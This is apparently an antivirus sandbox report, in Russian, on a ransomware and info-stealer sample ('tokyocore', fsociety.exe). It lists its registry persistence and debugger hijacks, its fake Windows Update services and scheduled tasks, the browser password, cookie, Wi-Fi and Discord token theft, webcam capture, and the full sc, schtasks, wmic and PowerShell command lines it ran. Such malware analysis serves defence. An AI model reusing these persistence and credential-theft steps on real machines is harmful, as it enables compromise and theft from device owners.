Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'UserInit' = '<SYSTEM32>\fsociety.exe,<SYSTEM32>\userinit.exe,'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '<SYSTEM32>\fsociety.exe,explorer.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'GinaDLL' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] 'Debugger' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe] 'Debugger' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe] 'Debugger' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe] 'Debugger' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe] 'Debugger' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager] 'BootExecute' = '"<SYSTEM32>\dwm.exe"\nautocheck autochk *'
- [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager] 'SetupExecute' = '"<SYSTEM32>\dwm.exe"'
- [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager] 'Execute' = '"<SYSTEM32>\dwm.exe"'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '<Полный путь к файлу>'
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '<SYSTEM32>\fsociety.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe] 'Debugger' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'LoadAppInit_DLLs' = '00000001'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore] 'DllName' = '<SYSTEM32>\dwm.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\tokyocore] 'Logon' = '1'
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'WindowsUpdate' = '<SYSTEM32>\fsociety.exe'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'TOKYOCORERansom' = '<Полный путь к файлу>'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '<SYSTEM32>\fsociety.exe'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'TOKYOCORERansom' = '<SYSTEM32>\fsociety.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windowsupdate
- <SYSTEM32>\tasks\systemupdate
- <SYSTEM32>\tasks\windowsservice
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\WinUpdateSvc] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\WinUpdateSvc] 'ImagePath' = '"<SYSTEM32>\fsociety.exe"'
Создает следующие сервисы
- 'WindowsUpdate' <SYSTEM32> society.exe
- 'SystemUpdate' <SYSTEM32> society.exe
- 'WinUpdateSvc' <SYSTEM32> society.exe
- 'WinUpdateSvc' <SYSTEM32>\fsociety.exe
Вредоносные функции
Запускает большое число процессов
Читает файлы, отвечающие за хранение паролей сторонними программами
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\iisstart.htm
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\tileimage.bmp
- %HOMEPATH%\desktop\tree_view.htm
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %HOMEPATH%\desktop\weeklysheet1215.doc
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
Изменения в файловой системе
Создает следующие файлы
- <SYSTEM32>\fsociety.exe
- nul
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
- <SYSTEM32>\bootexec.bat
- <Текущая директория>\fsociety.jpg
- <Текущая директория>\jester.png
- %WINDIR%\temp\.keyfile
- %WINDIR%\temp\.syslock
- %TEMP%\webcam_878125.png
- %TEMP%\tokyocore_data_877906\webcam\webcam.png
- %TEMP%\tokyocore_data_877906\system\systeminfo.json
- %TEMP%\tokyocore_data_877906\system\wifi_passwords.json
- %TEMP%\tokyocore_data_877906\discord\discord_tokens.json
- %TEMP%\tokyocore_data_877906\browsers\browser_passwords.json
- %TEMP%\tokyocore_data_877906\browsers\browser_cookies.json
- %WINDIR%\temp\__psscriptpolicytest_cpzts2al.jsb.ps1
- %WINDIR%\temp\__psscriptpolicytest_ug305iof.bgr.psm1
- %WINDIR%\temp\content\3004-2444-powershell.exe-22-43-16-509.dump
- %WINDIR%\temp\content\3004-2444-powershell.exe-22-43-16-948.dump
- %WINDIR%\temp\content\3004-2444-powershell.exe-22-43-16-949.dump
- %WINDIR%\temp\content\3004-2444-powershell.exe-22-43-16-899.dump
- %WINDIR%\temp\content\3004-2444-powershell.exe-22-43-16-988.dump
- %WINDIR%\temp\webcam_908343.png
- %WINDIR%\temp\content\3004-2444-powershell.exe-22-43-16-607.dump
- C:\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\tokyocore_data_908000\webcam\webcam.png
- %WINDIR%\temp\tokyocore_data_908000\system\systeminfo.json
- %WINDIR%\temp\__psscriptpolicytest_qv2ombhh.tzg.ps1
- %WINDIR%\temp\__psscriptpolicytest_n0ouxu2r.oqd.psm1
- %WINDIR%\temp\tokyocore_data_908000\system\wifi_passwords.json
- %WINDIR%\temp\tokyocore_data_908000\discord\discord_tokens.json
- %WINDIR%\temp\tokyocore_data_908000\browsers\browser_passwords.json
- %WINDIR%\temp\tokyocore_data_908000\browsers\browser_cookies.json
- %WINDIR%\temp\content\808-4676-powershell.exe-22-43-16-664.dump
- %WINDIR%\temp\content\808-4676-powershell.exe-22-43-16-500.dump
- %WINDIR%\temp\content\808-4676-powershell.exe-22-43-16-732.dump
- %WINDIR%\temp\content\808-4676-powershell.exe-22-43-16-908.dump
- %WINDIR%\temp\content\808-4676-powershell.exe-22-43-16-708.dump
- %WINDIR%\temp\__psscriptpolicytest_kou4st1v.chr.ps1
- %WINDIR%\temp\__psscriptpolicytest_uw34wn3b.ak4.psm1
- %WINDIR%\temp\webcam_923187.png
- %WINDIR%\temp\content\808-4676-powershell.exe-22-43-16-666.dump
Присваивает атрибут 'скрытый' для следующих файлов
- <SYSTEM32>\fsociety.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
Удаляет файлы, которые сам же создал
- %TEMP%\webcam_878125.png
- %WINDIR%\temp\__psscriptpolicytest_cpzts2al.jsb.ps1
- %WINDIR%\temp\__psscriptpolicytest_ug305iof.bgr.psm1
- %WINDIR%\temp\webcam_908343.png
- %WINDIR%\temp\__psscriptpolicytest_qv2ombhh.tzg.ps1
- %WINDIR%\temp\__psscriptpolicytest_n0ouxu2r.oqd.psm1
- %WINDIR%\temp\__psscriptpolicytest_kou4st1v.chr.ps1
- %WINDIR%\temp\__psscriptpolicytest_uw34wn3b.ak4.psm1
- %WINDIR%\temp\webcam_923187.png
Изменяет следующие файлы
- %APPDATA%\microsoft\windows\themes\transcodedwallpaper
- %APPDATA%\microsoft\windows\themes\cachedfiles\cachedimage_1152_864_pos2.jpg
Сетевая активность
Подключается к
- 'i.##gur.com':443
- 'fi###.catbox.moe':443
- 'di##ord.com':443
- '<LOCALNET>.1.23':5000
- '<LOCALNET>..101.1':445
- '<LOCALNET>..101.1':139
- '<LOCALNET>..101.2':445
- '<LOCALNET>..101.2':139
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?e5##############
Другие
- 'i.##gur.com':443
- 'fi###.catbox.moe':443
- 'di##ord.com':443
UDP
- DNS ASK i.##gur.com
- DNS ASK fi###.catbox.moe
- DNS ASK di##ord.com
Другое
Ищет следующие окна
- ClassName: 'RansomClass' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\fsociety.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c sc stop WindowsUpdate >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WindowsUpdate
- '<SYSTEM32>\cmd.exe' /c sc delete WindowsUpdate >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete WindowsUpdate
- '<SYSTEM32>\cmd.exe' /c sc create WindowsUpdate binPath= "\"<SYSTEM32>\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' create WindowsUpdate binPath= "\"<SYSTEM32>\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
- '<SYSTEM32>\cmd.exe' /c sc config WindowsUpdate start= boot >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WindowsUpdate start= boot
- '<SYSTEM32>\cmd.exe' /c sc config WindowsUpdate type= own >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WindowsUpdate type= own
- '<SYSTEM32>\cmd.exe' /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WindowsUpdate obj= LocalSystem
- '<SYSTEM32>\cmd.exe' /c sc config WindowsUpdate error= ignore >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WindowsUpdate error= ignore
- '<SYSTEM32>\cmd.exe' /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
- '<SYSTEM32>\cmd.exe' /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' description WindowsUpdate "Provides Windows system updates"
- '<SYSTEM32>\cmd.exe' /c sc start WindowsUpdate >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' start WindowsUpdate
- '<SYSTEM32>\cmd.exe' /c sc stop SystemUpdate >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop SystemUpdate
- '<SYSTEM32>\cmd.exe' /c sc delete SystemUpdate >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete SystemUpdate
- '<SYSTEM32>\cmd.exe' /c sc create SystemUpdate binPath= "\"<SYSTEM32>\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' create SystemUpdate binPath= "\"<SYSTEM32>\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
- '<SYSTEM32>\cmd.exe' /c sc config SystemUpdate start= system >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config SystemUpdate start= system
- '<SYSTEM32>\cmd.exe' /c sc config SystemUpdate obj= LocalSystem >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config SystemUpdate obj= LocalSystem
- '<SYSTEM32>\cmd.exe' /c sc start SystemUpdate >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' start SystemUpdate
- '<SYSTEM32>\cmd.exe' /c sc stop WinUpdateSvc >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WinUpdateSvc
- '<SYSTEM32>\cmd.exe' /c sc delete WinUpdateSvc >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' delete WinUpdateSvc
- '<SYSTEM32>\cmd.exe' /c sc create WinUpdateSvc binPath= "\"<SYSTEM32>\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' create WinUpdateSvc binPath= "\"<SYSTEM32>\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
- '<SYSTEM32>\cmd.exe' /c sc config WinUpdateSvc start= auto >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WinUpdateSvc start= auto
- '<SYSTEM32>\cmd.exe' /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WinUpdateSvc obj= LocalSystem
- '<SYSTEM32>\cmd.exe' /c sc start WinUpdateSvc >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\sc.exe' start WinUpdateSvc
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "WindowsUpdate" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsUpdate" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "SystemUpdate" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemUpdate" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "WindowsService" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsService" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "BootUpdate" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "BootUpdate" /tr "\"<SYSTEM32>\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "WindowsUpdate" >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /run /tn "WindowsUpdate"
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&...
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1 (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' /set {current} bootmenupolicy legacy
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics =... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawi...
- '<SYSTEM32>\cmd.exe' /c netsh wlan show profile
- '<SYSTEM32>\netsh.exe' wlan show profile
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path '%TEMP%\tokyocore_data_877906\*' -DestinationPath '%TEMP%\tokyocore_data.zip' -Force" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Compress-Archive -Path '%TEMP%\tokyocore_data_877906\*' -DestinationPath '%TEMP%\tokyocore_data.zip' -Force"
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path '%WINDIR%\TEMP\tokyocore_data_908000\*' -DestinationPath '%WINDIR%\TEMP\tokyocore_data.zip' -Force" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Compress-Archive -Path '%WINDIR%\TEMP\tokyocore_data_908000\*' -DestinationPath '%WINDIR%\TEMP\tokyocore_data.zip' -Force"
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path '%WINDIR%\TEMP\tokyocore_data_922984\*' -DestinationPath '%WINDIR%\TEMP\tokyocore_data.zip' -Force" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Compress-Archive -Path '%WINDIR%\TEMP\tokyocore_data_922984\*' -DestinationPath '%WINDIR%\TEMP\tokyocore_data.zip' -Force"
- '<SYSTEM32>\fsociety.exe' (со скрытым окном)
